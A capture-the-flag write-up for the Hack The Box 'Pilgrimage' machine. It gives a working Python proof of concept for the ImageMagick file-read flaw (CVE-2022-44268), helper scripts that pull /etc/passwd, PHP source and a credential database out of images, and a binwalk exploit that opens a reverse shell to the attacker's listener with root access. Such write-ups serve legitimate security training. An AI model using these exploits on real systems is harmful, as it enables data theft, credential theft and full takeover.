Hack The Box: Pilgrimage Writeup

hackthebox, linux, web, easy, cve, arbitrary-file-read, sudo

Pilgrimage is an easy Linux machine on Hack The Box. The machine hosts a simple web application that allows to shrink images. In the backend, the web application used a version of the image manipulation tool ImageMagick that was vulnerable to arbitrary file reading (CVE-2022-44268). Exploiting the vulnerability yielded the application's database that contained user credentials. Logging into the system using the credentials revealed the presence of binwalk on the system and a non-standard script in a system directory. The version of binwalk installed on the machine was vulnerable to arbitrary code execution (CVE-2022-4510) and allowed code execution as the local root user by placing an exploit in directories watched by the script.

Walkthrough

Initially, the host was added to the hosts file on the attacking system. Following that, an nmap scan of the system identified SSH on port 22, and HTTP on port 80:

$ echo '10.10.11.219 pilgrimage.htb | sudo tee -a /etc/hosts' 
$ sudo nmap -sC -sV pilgrimage.htb -Pn -p-
<SNIP>
PORT    STATE SERVICE  VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
<SNIP>
80/tcp open  http    nginx 1.18.0
<SNIP>
|_http-title: Pilgrimage - Shrink Your Images
<SNIP>

The website, powered by nginx, serves an image manipulation service called Pilgrimage that can be used to shrink images. It also has register and login pages, that supposedly allow saving uploaded images:

Image shrinking web service

When uploading an image and shrinking it as an unauthenticated user, the server responds with a HTTP 302 redirect:

HTTP/1.1 302 Found
<SNIP>
Location: /?message=http://pilgrimage.htb/shrunk/659fbabb421cd.jpeg&status=success
<SNIP>

And in fact, the shrunk image can be retrieved from that URL contained in the message parameter. The file name looks random.

Retrieving the file and looking at EXIF metadata did not reveal anything.

Since many web services that manipulate images work with ImageMagick, I decided to try my luck and looked for recent vulnerabilities of the library.

One of the more recent vulnerabilities for ImageMagick is CVE-2022-44268, which is an Arbitrary File Read vulnerability affecting ImageMagick 7.1.0-49. There are many PoCs around for exploiting this vulnerability by creating a malicious image file that reads image profile information from another file. I decided to go with this one:

#!/bin/python3
from sys import argv
from png import Reader, write_chunks

if len(argv) < 2:
    print("Usage: CVE-2022-44268.py <LFI>")
    exit(1)

LFI = argv[1]

reader = Reader(filename='source.png')
chunks = list(reader.chunks())

chunk_field = (b"tEXt", f"Profile\x00{LFI}".encode())
chunks.insert(1, chunk_field)

file = open('output.png', 'wb')
write_chunks(file, chunks)
file.close()

I first used the script to create an image that would read /etc/passwd if the library was vulnerable:

python3  CVE-2022-44268.py /etc/passwd

The PoC generated an output.png that I uploaded to the service and retrieved the shrunk version. Next, I used exiftool 659fc2bccd23c.png to display the metadata:

Result of Arbitrary File Read in EXIF profile data

The EXIF data did include a raw profile which looked like it could be an encoded file as it is terminated by the 0a byte. I copied the whole bunch over and decoded the bytes from hex, which revealed the /etc/passwd file of the box. This proved that the library was vulnerable to the arbitrary file read. The passwd file contained a non-default user named emily:

Decoded passwd file

Having recovered a username, I decided to dig deeper into the application logic and tried to retrieve the source code of the index.php page using the same method. This worked, when I found the correct web root and read the file from /var/www/pilgrimage.htb/index.php:

Embedded PHP file in the EXIF profile

As the screenshot shows, the content is too large to be displayed by exiftool right away, but with the -b switch it is displayed. I redirected the output to a file, removed the surrounding lines and then used this helper script to retrieve and decode the actual content:

with open('output.txt') as f:
    x = f.read()
x = x.replace("\n","")
w = open("index.php", "wb")
w.write(bytes.fromhex(x))
w.close()

As the extracted source code for index.php reveals, the index page handles shrinking the image and for authenticated users stores values in a SQLite database:

...
if(isset($_SESSION['user'])) {                                    
$db = new PDO('sqlite:/var/db/pilgrimage');                     
$stmt = $db->prepare("INSERT INTO `images` (url,original,username) VALUES (?,?,?)");                                                                  
$stmt->execute(array($upload_path,$_FILES["toConvert"]["name"],$_SESSION['user']));                                                                   
}
...

As I was looking for a password for the user discovered earlier, I extracted the database file using the same method; I created a picture that would load the database as EXIF profile data and then use this helper to recover the database contents from the image:

with open('output.txt') as f:
    x = f.read()
x = x.replace("\n","")
w = open("pilgrimage.sqlite", "wb")
w.write(bytes.fromhex(x))
w.close()

Then, I opened the database with sqlitebrowser pilgrimage.sqlite and read user credentials:

Opening the database in SQLiteBrowser

The user credentials worked to authenticate over SSH and got me the user flag.

With access to a user account, I enumerated the box and found a non-standard shell script:

emily@pilgrimage:~$ find / -name "*.sh" -type f 2>/dev/null
<SNIP>
/usr/sbin/malwarescan.sh
<SNIP>

The script is readable for everyone, so I took a look:

Let’s break it down. The script creates an inotify agent that monitors paths for changes. If there are changes, the script takes the filename for newly created files and runs binwalk on it. Presumably, to detect the file type of the file and compare it to the entries of a blacklist. If the file type is blacklisted, the file is deleted.

This is an interesting privilege escalation vector for us, as the script is presumably being run as root and calls binwalk on user supplied files. Checking the version using binwalk --version reveals that the version v2.3.2 is installed on the system, a version that is vulnerable to remote command execution (CVE-2022-4510).

So to escalate privileges to root, I generated a malicious PFS filesystem file using the above exploit and some random image source.png:

python3 binwalk.py source.png 10.10.16.3 4444

I started a netcat listener:

nc -lnvp 4444

And I uploaded the exploit to the watched directory:

scp binwalk_exploit.png [email protected]:/var/www/pilgrimage.htb/shrunk/binwalk_exploit.png

Immediately, the inotifywait triggered, executed binwalk on my exploit and gave me a root shell:

That concludes this pilgrimage. Thank you for reading and have a fun time with CTFs.